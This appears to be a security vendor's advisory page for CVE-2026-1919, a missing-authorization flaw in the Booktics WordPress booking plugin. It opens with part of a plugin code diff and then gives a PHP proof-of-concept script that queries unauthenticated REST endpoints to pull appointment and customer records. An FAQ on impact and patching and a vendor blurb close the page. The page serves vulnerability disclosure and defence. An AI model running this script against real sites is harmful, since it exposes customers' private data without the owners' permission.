+ $contact_api->createOrUpdate( $customer_data );
+ } catch ( Throwable $e ) {
+ // Ensures silent failure in case of any error
+ if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
+ error_log( 'FluentCRM Error: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+ }
+ }
+ }
+
+ private function send_webhook( $url, $data ) {
+ $response = wp_remote_post(
+ $url,
+ array(
+ 'body' => wp_json_encode( $data ),
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ ),
+ 'timeout' => 15,
+ )
+ );
+
+ if ( is_wp_error( $response ) ) {
+ if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
+ error_log( 'FluentCRM Webhook Error: ' . $response->get_error_message() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+ }
+ }
+ }
+}
--- a/booktics/core/module/google-calendar/Controller/calendar-auth-controller.php
+++ b/booktics/core/module/google-calendar/Controller/calendar-auth-controller.php
@@ -1,624 +1,624 @@
-<?php
-/**
- * Calendar Auth Controller
- *
- * @package BookticsGoogleCalendarGoogleController
- */
-
-namespace BookticsModuleGoogle_CalendarController;
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-use BookticsAbstractsBase_Rest_Controller;
-use Exception;
-use WP_REST_Request;
-use WP_REST_Server;
-use WP_Error;
-use WP_HTTP_Response;
-
-/**
- * Class Calendar_Auth_Controller
- */
-class Calendar_Auth_Controller extends Base_Rest_Controller {
-
- /**
- * The namespace of this controller's route.
- *
- * @var string
- */
- protected $namespace = 'booktics/v1';
-
- /**
- * The base of this controller's route.
- *
- * @var string
- */
- protected $rest_base = 'settings/google';
-
- /**
- * User meta key for storing Google tokens
- */
- const BGC_USER_META_TOKEN = 'booktics_google_auth_token';
-
- /**
- * Google OAuth configuration.
- *
- * @var array
- */
- private $oauth_config;
-
- /**
- * Initialize the class and set up hooks.
- */
- public function __construct() {
- $this->oauth_config = $this->get_oauth_config();
- add_action( 'template_redirect', array( $this, 'handle_google_auth_callback' ) );
-
- // In your addon's main file or a dedicated class
- add_filter(
- 'booktics_team_member_data',
- function ( $team_member, $team_member_id ) {
- $team_member['google_calendar_connected'] = $this->team_member_is_connected( $team_member_id );
-
- return $team_member;
- },
- 10,
- 2
- );
- }
-
- /**
- * Get OAuth configuration for Google API
- *
- * @return array
- */
- private function get_oauth_config() {
- return array(
- 'client_id' => booktics_get_option( 'google_client_id' ),
- 'client_secret' => booktics_get_option( 'google_secret_key' ),
- 'redirect_uri' => booktics_get_option( 'google_redirect_url' ),
- 'scope' => 'https://www.googleapis.com/auth/calendar',
- 'access_type' => 'offline',
- 'prompt' => 'consent',
- );
- }
-
- /**
- * Get valid access token for user, refreshing if necessary
- *
- * @param int $user_id
- * @return string|false Access token or false on failure
- */
- private function get_valid_access_token( $user_id = null ) {
- if ( null === $user_id ) {
- $user_id = get_current_user_id();
- }
-
- $token = get_user_meta( $user_id, self::BGC_USER_META_TOKEN, true );
- if ( ! $token ) {
- return false;
- }
-
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- if ( ! is_array( $token ) || empty( $token['access_token'] ) ) {
- return false;
- }
-
- // Check if token needs refreshing
- if ( $this->is_token_expired( $token ) ) {
- $refreshed_token = $this->refresh_access_token( $token, $user_id );
- if ( ! $refreshed_token ) {
- delete_user_meta( $user_id, self::BGC_USER_META_TOKEN );
- return false;
- }
- return $refreshed_token['access_token'];
- }
-
- return $token['access_token'];
- }
-
- /**
- * Check if token is expired
- *
- * @param array $token
- * @return bool
- */
- private function is_token_expired( $token ) {
- if ( empty( $token['expires_at'] ) ) {
- return true;
- }
-
- $expires_at = is_numeric( $token['expires_at'] ) ? $token['expires_at'] : strtotime( $token['expires_at'] );
- $buffer_time = 300; // 5 minutes buffer
-
- return ( time() + $buffer_time ) >= $expires_at;
- }
-
- /**
- * Refresh access token using refresh token
- *
- * @param array $token
- * @param int $user_id
- * @return array|false New token array or false on failure
- */
- private function refresh_access_token( $token, $user_id ) {
- if ( empty( $token['refresh_token'] ) ) {
- return false;
- }
-
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/token',
- array(
- 'body' => array(
- 'client_id' => $this->oauth_config['client_id'],
- 'client_secret' => $this->oauth_config['client_secret'],
- 'refresh_token' => $token['refresh_token'],
- 'grant_type' => 'refresh_token',
- ),
- )
- );
-
- if ( is_wp_error( $response ) ) {
- return false;
- }
-
- $body = wp_remote_retrieve_body( $response );
- $new_token = json_decode( $body, true );
-
- if ( isset( $new_token['error'] ) ) {
- return false;
- }
-
- // Merge with existing token to preserve refresh_token
- $refreshed_token = array_merge( $token, $new_token );
-
- // Set expiry time
- if ( isset( $refreshed_token['expires_in'] ) ) {
- $refreshed_token['expires_at'] = time() + $refreshed_token['expires_in'];
- }
-
- // Save the refreshed token
- update_user_meta( $user_id, self::BGC_USER_META_TOKEN, $refreshed_token );
-
- return $refreshed_token;
- }
-
- /**
- * Handle direct OAuth callback from Google.
- */
- public function handle_google_auth_callback() {
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Google OAuth callback doesnt require nonce
- if ( ! isset( $_GET['code'] ) ) {
- return;
- }
-
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Google OAuth callback doesnt require nonce
- if ( isset( $_GET['state'] ) ) {
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended
- $decoded_state = base64_decode( sanitize_text_field( wp_unslash( $_GET['state'] ) ) );
- $state_data = json_decode( $decoded_state, true );
- $team_member_id = isset( $state_data['team_member_id'] ) ? $state_data['team_member_id'] : null;
- }
-
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended
- $code = sanitize_text_field( wp_unslash( $_GET['code'] ) );
-
- if ( ! isset( $team_member_id ) ) {
- $team_member_id = get_current_user_id();
- }
-
- try {
- $tokens = $this->exchange_code_for_tokens( $code );
-
- if ( ! $tokens || isset( $tokens['error'] ) ) {
- throw new Exception( $tokens['error_description'] ?? 'Authentication failed' );
- }
-
- // Set expiry time
- if ( isset( $tokens['expires_in'] ) ) {
- $tokens['expires_at'] = time() + $tokens['expires_in'];
- }
-
- update_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, $tokens );
-
- if ( current_user_can( 'manage_options' ) ) {
- booktics_update_option( 'google_calendar_connected', 1 );
- }
-
- $redirect_url = isset( $team_member_id ) && $team_member_id != get_current_user_id() ? $this->get_redirect_url_for_team_member( $team_member_id ) : $this->get_redirect_url_for_admin();
-
- wp_safe_redirect( $redirect_url );
- exit;
-
- } catch ( Exception $e ) {
- $redirect_url = isset( $team_member_id ) ? $this->get_redirect_url_for_team_member( $team_member_id ) : $this->get_redirect_url_for_admin();
-
- wp_safe_redirect( $redirect_url );
- exit;
- }
- }
-
- /**
- * Exchange authorization code for access tokens
- *
- * @param string $code
- * @return array|false
- */
- private function exchange_code_for_tokens( $code ) {
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/token',
- array(
- 'body' => array(
- 'client_id' => $this->oauth_config['client_id'],
- 'client_secret' => $this->oauth_config['client_secret'],
- 'code' => $code,
- 'grant_type' => 'authorization_code',
- 'redirect_uri' => $this->oauth_config['redirect_uri'],
- ),
- )
- );
-
- if ( is_wp_error( $response ) ) {
- return false;
- }
-
- $body = wp_remote_retrieve_body( $response );
- return json_decode( $body, true );
- }
-
- private function get_redirect_url_for_admin() {
- return home_url( '/wp-admin/admin.php?page=booktics#/settings?tab=integration' );
- }
-
- private function get_redirect_url_for_team_member( $team_member_id ) {
- return home_url( "/wp-admin/admin.php?page=booktics#/team-members/update/{$team_member_id}?tab=integration" );
- }
-
- /**
- * Register the routes for the controller.
- */
- public function register_routes(): void {
- // Get Google auth URL
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/connect',
- array(
- array(
- 'methods' => WP_REST_Server::READABLE,
- 'callback' => array( $this, 'get_auth_url' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to connect', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
-
- // Revoke authentication
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/revoke',
- array(
- array(
- 'methods' => WP_REST_Server::DELETABLE,
- 'callback' => array( $this, 'revoke_auth' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to disconnect', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
-
- // Google connect for admin
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/admin/connect',
- array(
- array(
- 'methods' => WP_REST_Server::CREATABLE,
- 'callback' => array( $this, 'get_admin_auth_url' ),
- 'permission_callback' => function () {
- return current_user_can( 'manage_options' );
- },
- ),
- )
- );
-
- // Check authentication status
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/check',
- array(
- array(
- 'methods' => WP_REST_Server::READABLE,
- 'callback' => array( $this, 'check_auth' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to check', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
- }
-
- /**
- * Check if a given request has permission.
- *
- * @return bool|WP_Error
- */
- public function permission_check( $request ) {
- if ( ! is_user_logged_in() ) {
- return $this->error(
- __( 'You must be logged in to access this endpoint.', 'booktics' ),
- 401,
- 'permission_error'
- );
- }
-
- // Get team member ID from request
- $team_member_id = $this->get_team_member_id( $request );
-
- // If no team member ID specified, allow if user can manage options
- if ( ! $team_member_id ) {
- return current_user_can( 'manage_options' );
- }
-
- // If team member ID is specified, check if current user can edit that user
- if ( get_current_user_id() !== $team_member_id && ! current_user_can( 'edit_user', $team_member_id ) ) {
- return $this->error(
- __( 'You do not have permission to access this user's Google Calendar settings.', 'booktics' ),
- 403,
- 'permission_error'
- );
- }
-
- return true;
- }
-
- public function get_admin_auth_url( $request ) {
- $data = json_decode( $request->get_body(), true );
- $google_client_id = $data['google_client_id'];
- $google_client_secret = $data['google_secret_key'];
- $block_booking_during_google_events = isset( $data['block_booking_during_google_events'] ) ? $data['block_booking_during_google_events'] : false;
-
- // save credentials in options
- booktics_update_option( 'google_client_id', $google_client_id );
- booktics_update_option( 'google_secret_key', $google_client_secret );
- booktics_update_option( 'block_booking_during_google_events', $block_booking_during_google_events );
-
- // Update OAuth config
- $this->oauth_config['client_id'] = $google_client_id;
- $this->oauth_config['client_secret'] = $google_client_secret;
-
- $auth_url = $this->create_auth_url();
-
- return $this->response(
- array( 'auth_url' => $auth_url ),
- __( 'Google authentication URL generated successfully.', 'booktics' )
- );
- }
-
- /**
- * Get Google OAuth URL.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function get_auth_url( $request ) {
- try {
- // Get any parameters you want to pass through
- $state_params = array(
- 'team_member_id' => absint( $request->get_param( 'team_member_id' ) ),
- );
-
- // Convert to JSON and base64 encode to make it URL-safe
- $state = base64_encode( wp_json_encode( $state_params ) );
-
- $auth_url = $this->create_auth_url( $state );
-
- if ( empty( $auth_url ) ) {
- return $this->error(
- __( 'Failed to generate Google authentication URL.', 'booktics' ),
- 500,
- 'auth_url_error'
- );
- }
-
- return $this->response(
- array( 'auth_url' => $auth_url ),
- __( 'Google authentication URL generated successfully.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to generate Google auth URL: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'auth_error'
- );
- }
- }
-
- /**
- * Create OAuth authorization URL
- *
- * @param string $state Optional state parameter
- * @return string
- */
- private function create_auth_url( $state = '' ) {
- $params = array(
- 'client_id' => $this->oauth_config['client_id'],
- 'redirect_uri' => $this->oauth_config['redirect_uri'],
- 'scope' => $this->oauth_config['scope'],
- 'response_type' => 'code',
- 'access_type' => $this->oauth_config['access_type'],
- 'prompt' => $this->oauth_config['prompt'],
- );
-
- if ( ! empty( $state ) ) {
- $params['state'] = $state;
- }
-
- return 'https://accounts.google.com/o/oauth2/auth?' . http_build_query( $params );
- }
-
- /**
- * Revoke Google authentication.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function revoke_auth( $request ) {
- try {
- $team_member_id = $this->get_team_member_id( $request );
-
- if ( current_user_can( 'manage_options' ) && $team_member_id == get_current_user_id() ) {
- booktics_update_option( 'google_calendar_connected', 0 );
- }
-
- // Get the token before revoking
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
-
- if ( empty( $token ) ) {
- return $this->response(
- array( 'revoked' => true ),
- __( 'Google account was not connected.', 'booktics' )
- );
- }
-
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- // Revoke the token
- if ( isset( $token['access_token'] ) ) {
- $this->revoke_token( $token['access_token'] );
- }
-
- // Delete the token
- delete_user_meta( $team_member_id, self::BGC_USER_META_TOKEN );
-
- return $this->response(
- array( 'revoked' => true ),
- __( 'Google authentication revoked successfully.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to revoke Google authentication: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'revoke_error'
- );
- }
- }
-
- /**
- * Revoke access token at Google
- *
- * @param string $access_token
- * @return bool
- */
- private function revoke_token( $access_token ) {
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/revoke',
- array(
- 'body' => array(
- 'token' => $access_token,
- ),
- )
- );
-
- return ! is_wp_error( $response ) && wp_remote_retrieve_response_code( $response ) === 200;
- }
-
- /**
- * Check authentication status.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function check_auth( $request ) {
- try {
- $team_member_id = $this->get_team_member_id( $request );
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
- $is_authenticated = false;
-
- if ( $token ) {
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- if ( is_array( $token ) && isset( $token['access_token'] ) ) {
- $is_authenticated = ! $this->is_token_expired( $token );
-
- // If token is expired but we have a refresh token, try to refresh
- if ( ! $is_authenticated && isset( $token['refresh_token'] ) ) {
- $new_token = $this->refresh_access_token( $token, $team_member_id );
- if ( $new_token ) {
- $is_authenticated = true;
- }
- }
- }
- }
-
- return $this->response(
- array( 'authenticated' => $is_authenticated ),
- $is_authenticated
- ? __( 'Google account is connected.', 'booktics' )
- : __( 'Google account is not connected.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to check authentication status: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'auth_check_error'
- );
- }
- }
-
- private function get_team_member_id( $request ) {
- $data = $request->get_method() === 'GET'
- ? $request->get_query_params()
- : json_decode( $request->get_body(), true );
-
- if ( isset( $data['team_member_id'] ) ) {
- return absint( $data['team_member_id'] );
- }
-
- return get_current_user_id();
- }
-
- /**
- * Check if team member is connected
- *
- * @param int $team_member_id team member id or user id
- * @return int 1 if connected, 0 if not
- */
- private function team_member_is_connected( $team_member_id ) {
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
-
- return empty( $token ) ? 0 : 1;
- }
-}
+<?php
+/**
+ * Calendar Auth Controller
+ *
+ * @package BookticsGoogleCalendarGoogleController
+ */
+
+namespace BookticsModuleGoogle_CalendarController;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+use BookticsAbstractsBase_Rest_Controller;
+use Exception;
+use WP_REST_Request;
+use WP_REST_Server;
+use WP_Error;
+use WP_HTTP_Response;
+
+/**
+ * Class Calendar_Auth_Controller
+ */
+class Calendar_Auth_Controller extends Base_Rest_Controller {
+
+ /**
+ * The namespace of this controller's route.
+ *
+ * @var string
+ */
+ protected $namespace = 'booktics/v1';
+
+ /**
+ * The base of this controller's route.
+ *
+ * @var string
+ */
+ protected $rest_base = 'settings/google';
+
+ /**
+ * User meta key for storing Google tokens
+ */
+ const BGC_USER_META_TOKEN = 'booktics_google_auth_token';
+
+ /**
+ * Google OAuth configuration.
+ *
+ * @var array
+ */
+ private $oauth_config;
+
+ /**
+ * Initialize the class and set up hooks.
+ */
+ public function __construct() {
+ $this->oauth_config = $this->get_oauth_config();
+ add_action( 'template_redirect', array( $this, 'handle_google_auth_callback' ) );
+
+ // In your addon's main file or a dedicated class
+ add_filter(
+ 'booktics_team_member_data',
+ function ( $team_member, $team_member_id ) {
+ $team_member['google_calendar_connected'] = $this->team_member_is_connected( $team_member_id );
+
+ return $team_member;
+ },
+ 10,
+ 2
+ );
+ }
+
+ /**
+ * Get OAuth configuration for Google API
+ *
+ * @return array
+ */
+ private function get_oauth_config() {
+ return array(
+ 'client_id' => booktics_get_option( 'google_client_id' ),
+ 'client_secret' => booktics_get_option( 'google_secret_key' ),
+ 'redirect_uri' => booktics_get_option( 'google_redirect_url' ),
+ 'scope' => 'https://www.googleapis.com/auth/calendar',
+ 'access_type' => 'offline',
+ 'prompt' => 'consent',
+ );
+ }
+
+ /**
+ * Get valid access token for user, refreshing if necessary
+ *
+ * @param int $user_id
+ * @return string|false Access token or false on failure
+ */
+ private function get_valid_access_token( $user_id = null ) {
+ if ( null === $user_id ) {
+ $user_id = get_current_user_id();
+ }
+
+ $token = get_user_meta( $user_id, self::BGC_USER_META_TOKEN, true );
+ if ( ! $token ) {
+ return false;
+ }
+
+ // Handle both string (old format) and array (new format) tokens
+ if ( is_string( $token ) ) {
+ $token = json_decode( $token, true );
+ }
+
+ if ( ! is_array( $token ) || empty( $token['access_token'] ) ) {
+ return false;
+ }
+
+ // Check if token needs refreshing
+ if ( $this->is_token_expired( $token ) ) {
+ $refreshed_token = $this->refresh_access_token( $token, $user_id );
+ if (
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1919 - Booktics <= 1.0.16 - Missing Authorization to Get Items via REST API endpoints
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
// Endpoints vulnerable to unauthorized access
$endpoints = [
'/wp-json/booktics/v1/appointments', // List all appointments
'/wp-json/booktics/v1/appointments/1', // Get specific appointment
'/wp-json/booktics/v1/customers', // List all customers
'/wp-json/booktics/v1/customers/1', // Get specific customer
];
foreach ($endpoints as $endpoint) {
$url = $target_url . $endpoint;
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// No authentication headers required
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Accept: application/json',
]);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing: $endpointn";
echo "HTTP Status: $http_coden";
if ($http_code === 200) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "SUCCESS: Retrieved sensitive datan";
echo "Response sample: " . substr(print_r($data, true), 0, 500) . "nn";
} else {
echo "ERROR: Invalid JSON responsenn";
}
} else {
echo "FAILED: Endpoint may be patched or inaccessiblenn";
}
curl_close($ch);
sleep(1); // Rate limiting
}
?>
Frequently Asked Questions
What is CVE-2026-1919?
Overview of the vulnerabilityCVE-2026-1919 is a security vulnerability in the Booktics plugin for WordPress, specifically versions up to and including 1.0.16. It allows unauthorized access to sensitive data through multiple REST API endpoints due to missing capability checks.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises because the Booktics plugin’s REST API endpoints do not enforce proper authorization checks. This means that unauthenticated users can access sensitive data like appointment details and customer information simply by making HTTP GET requests to specific endpoints.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Booktics plugin version 1.0.16 or earlier is affected by this vulnerability. Administrators can check their plugin version in the WordPress admin dashboard under the Plugins section.
How can I check if my site is vulnerable?
Steps for verificationTo determine if your site is vulnerable, verify the version of the Booktics plugin installed. If it is version 1.0.16 or earlier, your site is at risk. Additionally, you can test the REST API endpoints for unauthorized access without authentication.
What is the recommended fix for CVE-2026-1919?
Updating the pluginThe recommended fix is to update the Booktics plugin to version 1.0.17 or later, which includes the necessary authorization checks to prevent unauthorized access. Always ensure that your plugins are kept up to date.
What does the CVSS score of 5.3 indicate?
Understanding severity levelsA CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk and should be addressed promptly to protect sensitive data.
What are the practical risks of this vulnerability?
Potential impacts of exploitationExploitation of this vulnerability could lead to unauthorized access to sensitive customer and appointment data. This could result in data breaches, loss of customer trust, and potential compliance issues depending on the nature of the data exposed.
How does the proof of concept demonstrate the vulnerability?
Example of exploitationThe proof of concept provided shows how an attacker can use a simple PHP script to make GET requests to the vulnerable REST API endpoints without any authentication. This demonstrates the ease with which sensitive data can be accessed by unauthorized users.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf you cannot update the plugin immediately, consider temporarily disabling the Booktics plugin to prevent unauthorized access. Additionally, review your site’s access logs for any suspicious activity related to the vulnerable endpoints.
Are there any other security measures I should take?
Enhancing overall securityIn addition to updating the plugin, consider implementing security measures such as limiting access to the REST API, using a web application firewall, and regularly auditing your plugins for vulnerabilities.
How can I stay informed about future vulnerabilities?
Keeping up to date with securityTo stay informed about future vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the National Vulnerability Database (NVD) for updates related to WordPress plugins.
What should I do if I suspect my site has been compromised?
Responding to a potential breachIf you suspect your site has been compromised, immediately investigate your site for unusual activity, change all passwords, and restore from a clean backup if necessary. Consider involving a security professional to assess and remediate the situation.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






